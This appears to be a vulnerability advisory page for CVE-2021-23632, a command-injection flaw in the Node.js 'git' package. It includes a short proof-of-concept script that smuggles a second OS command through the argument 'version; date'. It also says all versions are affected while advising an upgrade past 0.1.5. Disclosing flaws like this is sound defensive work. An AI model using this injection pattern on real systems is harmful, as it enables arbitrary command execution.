First published: Thu Mar 17 2022(Updated: )
All versions of package git are vulnerable to Remote Code Execution (RCE) due to missing sanitization in the Git.git method, which allows execution of OS commands rather than just git commands. Steps to Reproduce 1. Create a file named exploit.js with the following content: js var Git = require("git").Git; var repo = new Git("repo-test"); var user_input = "version; date"; repo.git(user_input, function(err, result) { console.log(result); }) 2. In the same directory as exploit.js, run npm install git. 3. Run exploit.js: node exploit.js. You should see the outputs of both the git version and date command-lines. Note that the repo-test Git repository does not need to be present to make this PoC work.
Credit: report@snyk.io
Affected Software | Affected Version | How to fix |
---|---|---|
Git Project Git | <=0.1.5 |
Sign up to SecAlerts for real-time vulnerability data matched to your software, aggregated from hundreds of sources.
CVE-2021-23632 is categorized as a high severity vulnerability due to its potential for remote code execution.
To fix CVE-2021-23632, upgrade the vulnerable version of the git package to a version higher than 0.1.5.
CVE-2021-23632 affects all versions of the git package used in Node.js environments.
Exploiting CVE-2021-23632 can lead to remote code execution, allowing attackers to execute arbitrary operating system commands on the affected system.
To determine if CVE-2021-23632 is present in your application, check the version of the git package being used.